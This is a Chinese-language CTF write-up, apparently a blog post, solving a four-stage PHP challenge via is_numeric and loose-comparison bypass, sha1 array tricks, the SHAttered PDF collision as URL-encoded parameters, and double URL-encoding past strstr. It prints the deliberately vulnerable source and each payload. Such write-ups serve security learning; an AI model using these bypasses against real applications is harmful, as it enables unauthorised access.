极客大挑战-Baby_PHP_Black_Magic_Enlightenment

Baby_PHP_Black_Magic_Enlightenment\

题目源码:

PHP is the best Language
Have you ever heard about PHP Black Magic
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;    
if($temp>9999){
    echo file_get_contents('./2.php');
    echo "How's that possible";
} 
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen

?>

一看是玩php官方老梗,我就来劲儿了,瞅着要传入一个password的参数,要求password不全为数字,同时还要大与9999。原本想着传入一个十六进制数0xCCCC但是没能通过😂。 is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使('1234a' == 1234)为真,因此可以采用 10000+ 代替 10000 进行绕过处理。

构造payload为:

?password=10000+

成功!

PHP is the best Language
Have you ever heard about PHP Black Magic
How's that possible <?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;    
if($temp>9999){
    echo file_get_contents('./2.php');
    echo "How's that possible";
} 
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen

?>

可以看到 if 语句段中的信息已经被打印出来了。接着,从源码上已经找不到可以利用的信息了,因此,对网页源代码进行审查,发现下一关的提示信息

PHP is the best Language <br/>Have you ever heard about PHP Black Magic<br/><?php
$next_chanllege='baby_magic.php'
// view-source is a good habit

下一关地址为:baby_magic.php

源码如下:

Just g1ve it a try. <?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{
    if ($_GET['user'] == $_GET['pass'])
        echo 'no no no no way for you to do so.';
    else if (sha1($_GET['user']) === sha1($_GET['pass']))
      die('G1ve u the flag'.$flag);
    else
        echo 'not right';
}
else
    echo 'Just g1ve it a try.';
highlight_file(__FILE__);
?>

前几天刚看了php的弱类型绕过,看到 sha1() 直接两眼放光了。php中===会先检查比较双方的类型,然后再比较值是否相同,由于sha1()无法处理数组,在传入参数为数组时会返回null的特点,我们可以让 user 和 pass 为数组来绕过sha1()比较。

构造的payload如下:

?user[]=a&pass[]=b

成功!

得到下一关的提示信息

G1ve u the flagbaby_revenge.php

下一关为baby_revenge.php

Just G1ve it a try. <?php
error_reporting(0);

$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{
    if ($_GET['user'] == $_GET['pass'])
        echo 'no no no no way for you to do so.';
    else if(is_array($_GET['user']) || is_array($_GET['pass']))
        die('There is no way you can sneak me, young man!');
    else if (sha1($_GET['user']) === sha1($_GET['pass'])){
      echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
      die('Genji:We will see again Hanzo'.$flag.'<br/>');
    }
    else
        echo 'Wrong!';
}else
    echo 'Just G1ve it a try.';
highlight_file(__FILE__);
?>
//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡

这里就太难受了,加了一组数组校验,直接不准传数组作为参数,sha1()却还是===判断。本来想着Google一下is_array()的绕过,但是没有找到……寻找sha1()的其他绕过方式,却都是适用于==的。最后找到了这位caiqiiqi师傅一篇 sha1()碰撞 的文章得到了思路

https://blog.csdn.net/caiqiiqi/article/details/68953730?locationNum=13&fps=1

这篇文章提到google放出两个SHA1值相同而不一样(SHA256的值不通)的pdf文件, shattered-1.pdfshattered-2.pdf,不同的部分在前320个字节。

图片来源caiqiiqi师傅

将不同的这部分取出来进行编码,构造payload如下:

user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

成功!

提示信息如下:

Hanzo:It is impossible only the tribe of Shimada can controle the dragon
Genji:We will see again Hanzohere_s_the_flag.php

出题人居然还是ow的粉,玩起了二龙兄弟的老梗。

下一关:here_s_the_flag.php

php源码如下:

<?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {
  echo("no no no!<br>");
  exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{
  
  echo "flag: $flag";
}
highlight_file(__FILE__);
?>

这题目真长……strstr()要求传入两个参数s1、s2且,如果s2在s1里面返回s2以及剩余部分,反之返回false,示例如下:

<?php
echo strstr("Hello world!","world");  // 输出 world!
?>

注意到第8行的urldecode()会进行一次url解码,因此我们需要传入一个id,该id满足不等于Longlone且url解码为Longlone,因此可以对Longlone做简单编码,L%6Fnglone。因为$_GET会进行一次url解码,故进行二次编码, L%256Fnglone

payload为:

L%256Fnglone

成功!

flag: flag{PHP_1s_fu1king_awesome}

posted @ 2021-11-23 09:47  sherlson  阅读(112)  评论(0编辑  收藏  举报